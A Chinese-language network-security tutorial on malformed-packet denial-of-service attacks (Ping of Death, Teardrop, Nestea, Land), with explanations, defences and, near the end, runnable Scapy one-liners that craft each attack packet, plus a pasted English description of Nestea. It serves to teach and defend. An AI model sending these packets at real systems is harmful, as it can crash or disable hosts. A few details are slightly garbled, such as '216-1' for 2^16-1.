网络攻击可分为拒绝服务型攻击、畸形报文攻击和扫描窥探攻击三大类。
畸形报文攻击是通过向目标系统发送有缺陷的IP报文,使得目标系统在处理这样的 IP包时会出现崩溃,给目标系统带来损失。主要的畸形报文攻击有 Ping of Death、Teardrop等。
常见的畸形报文攻击方法:
Ping of Death俗称“死拼”,其攻击原理是攻击者A向受害者B发送一些尺寸超大的ICMP(Ping命令使用的是ICMP报文)报文对其进行攻击(对于有些路由器或系统,在接收到一个这样的报文后,由于处理不当,会造成系统崩溃、死机或重启)。
IP报文的最大长度是216-1=65535个字节,那么去除IP首部的20个字节和ICMP首部的8个字节,实际数据部分长度最大为:65535-20-8=65507个字节。所谓的尺寸超大的ICMP报文就是指数据部分长度超过65507个字节的ICMP报文。
针对Ping of Death攻击,网络安全设备仅仅通过超大包过滤方法不能达到很好的防御效果,因为在线网种传输的大部分报文都经过了分片,所以单片报文不会超过65507个字节,只是在接收端完成组合后才会超过65507个字节。所以针对Ping of Death攻击,最有效防御方式是禁止ICMP报文通过网络安全设备。
Teardrop的攻击原理是:给受害者发送一些分片IP报文,并且故意将“13位分片偏移”字段设置成错误的值(既可与上一分片数据重叠,也可错开),受害者在组合这种含有重叠偏移的伪造分片报文时,会导致系统崩溃。
防御方法:网络安全设备将接收到的分片报文先放入缓存中,并根据源IP地址和目的IP地址对报文进行分组,源IP地址和目的IP地址均相同的报文归入同一组,然后对每组IP报文的相关分片信息进行检查,丢弃分片信息存在错误的报文。为了防止缓存益处,当缓存快要存满是,直接丢弃后续分片报文。
TC报文包含6个标志位:URG、ACK、PSH、RST、SYN、FIN,不同的系统对这些标志位组合的应答是不同的。
IP报文中,与报文分片有关的几个字段是:DF(Don’t Fragmentate)位、MF位,Fragment Offset、Length。DF和MF就是前面提到3位标识位中的第二和第三位,Fragment Offset就是“13位分片偏移”字段,Length就是“16位报文总长度”字段。如果上述字段的值出现矛盾,而设备处理不当,会对设备造成一定的影响,甚至瘫痪。Ip-fragment就是故意制造这种存在字段上相互矛盾的报文进行攻击的。
例如:
这些都有可能引起系统的崩溃,防御方法同Teardrop一样,都是对报文进行检查,丢弃非法报文。
Scapy畸形报文攻击的脚本示例:
Malformed IP packets:
>>>send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
Ping of death:
>>> send(fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
Nestea attack:
>>>send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>>send(IP(dst=target, id=42, frag=48)/("X"*116))
>>>send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
Description of Nestea This DoS attack affects the Linux operating system. The Nestea attack is very similar to the Teardrop attack, in that it sends IP fragments to a machine connected to the Internet or a network. But,while Teardrop affects Windows based systems, Nestea is specific to the Linux operating system, and exploits a bug (commonly known as the "off by one IP header" bug) in the Linux refragmentation code (the code that reformats, or puts back together, oversize packets when they are received from a client system).
The Nestea attack is very similar to the Teardrop attack, and is run against Linux versions 2.0 and 2.1.
Symptoms of Attack Machines subjected to the Nestea Denial of Service attack will almost certainly crash. A simple reboot should be sufficient to recover from a Nestea attack. How can I fix this vulnerability? Apply the patch, which can be found at ICMPinfo's Nestea Patch page. |
Land attack (designed for Microsoft Windows):
>>>send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
Land攻击发生的条件是攻击者发送具有相同IP的源地址、目标地址和 TCP端口号的伪造 TCP SYN数据包信息流。必须设置好 SYN标记。其结果是该计算机系统将试图向自己发送响应信息,导致被攻击的机器死循环,最终使受害系统瘫痪或重启。 |